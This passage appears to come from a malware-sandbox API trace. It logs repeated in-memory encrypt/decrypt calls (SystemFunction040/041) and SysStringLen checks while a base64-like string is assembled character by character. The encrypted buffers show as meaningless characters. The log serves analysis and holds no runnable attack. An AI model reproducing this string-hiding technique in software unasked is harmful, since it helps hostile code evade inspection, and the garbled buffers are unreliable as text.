Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.016] SysStringLen (param_1="NDZl") returned 0x8 [0254.016] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.017] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0254.017] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0254.017] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.017] SysStringLen (param_1="NDZlO") returned 0x8 [0254.017] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.017] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0254.017] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0254.017] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.017] SysStringLen (param_1="NDZlOD") returned 0x8 [0254.017] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.018] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0254.018] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0254.018] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.018] SysStringLen (param_1="NDZlODR") returned 0x8 [0254.018] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.018] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0254.018] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0254.018] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.018] SysStringLen (param_1="NDZlODRm") returned 0x8 [0254.018] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.019] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0254.019] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0254.019] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0254.020] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0254.020] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.024] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0254.024] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.024] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0254.024] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0254.024] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.025] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0254.025] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.025] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0254.025] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0254.025] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.025] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0254.025] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.025] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0254.025] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0254.025] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.026] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0254.026] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.026] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0254.026] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0254.026] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.026] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0254.026] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.026] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0254.026] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0254.026] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.027] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0254.027] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.027] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0254.027] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0254.027] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.027] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0254.027] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.027] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0254.027] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0254.027] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.027] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0254.028] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.028] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0254.028] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0254.028] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0254.029] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0254.029] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.029] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0254.029] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.029] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0254.030] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0254.030] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.030] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0254.030] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.031] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0254.031] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0254.031] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.031] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0254.031] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.032] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0254.032] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0254.032] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.032] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0254.033] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.033] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0254.033] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0254.033] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.034] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0254.034] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.034] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0254.034] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0254.034] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.035] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0254.035] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.035] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0254.035] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0254.036] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.036] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0254.036] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.036] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0254.037] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0254.037] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.037] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0254.037] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.038] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0254.038] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0254.038] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0254.039] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0254.040] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.040] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0254.040] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.040] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0254.041] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0254.041] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.041] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0254.041] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.042] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0254.042] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0254.042] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.042] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0254.042] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.043] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0254.043] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0254.043] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.043] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0254.043] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.044] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0254.044] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0254.044] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.044] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0254.044] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.045] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0254.045] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0254.045] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.045] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0254.045] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.045] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0254.046] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0254.046] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.046] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0254.046] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.046] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0254.046] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0254.046] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.047] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0254.047] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.047] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0254.047] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0254.048] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0254.048] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0254.048] SystemFunction041 (in: Memory=0x3af63c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af63c) returned 0x0 [0254.049] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0254.049] SystemFunction040 (in: Memory=0x3af63c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af63c) returned 0x0 [0254.049] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0254.049] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0254.049] SystemFunction041 (in: Memory=0x3af63c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af63c) returned 0x0 [0254.049] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0254.050] SystemFunction040 (in: Memory=0x3af63c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af63c) returned 0x0 [0254.050] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0254.050] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0254.050] SystemFunction041 (in: Memory=0x3af63c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af63c) returned 0x0 [0254.050] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0254.050] SystemFunction040 (in: Memory=0x3af63c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af63c) returned 0x0 [0254.051] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0254.051] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0254.051] SystemFunction041 (in: Memory=0x3af63c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af63c) returned 0x0 [0254.157] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0254.157] SystemFunction040 (in: Memory=0x3af63c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af63c) returned 0x0 [0254.157] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0254.157] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0254.158] SystemFunction041 (in: Memory=0x3af63c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af63c) returned 0x0 [0254.158] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0254.158] SystemFunction040 (in: Memory=0x3af63c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af63c) returned 0x0 [0254.158] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0254.158] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0254.158] SystemFunction041 (in: Memory=0x3af63c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af63c) returned 0x0 [0254.158] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0254.158] SystemFunction040 (in: Memory=0x3af63c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af63c) returned 0x0 [0254.158] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0254.158] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0254.158] SystemFunction041 (in: Memory=0x3af63c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af63c) returned 0x0 [0254.158] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0254.159] SystemFunction040 (in: Memory=0x3af63c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af63c) returned 0x0 [0254.159] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0254.159] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0254.159] SystemFunction041 (in: Memory=0x3af63c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af63c) returned 0x0 [0254.159] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0254.159] SystemFunction040 (in: Memory=0x3af63c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af63c) returned 0x0 [0254.159] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0254.159] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0254.159] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0254.160] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0254.160] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0254.160] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0254.160] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0254.160] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 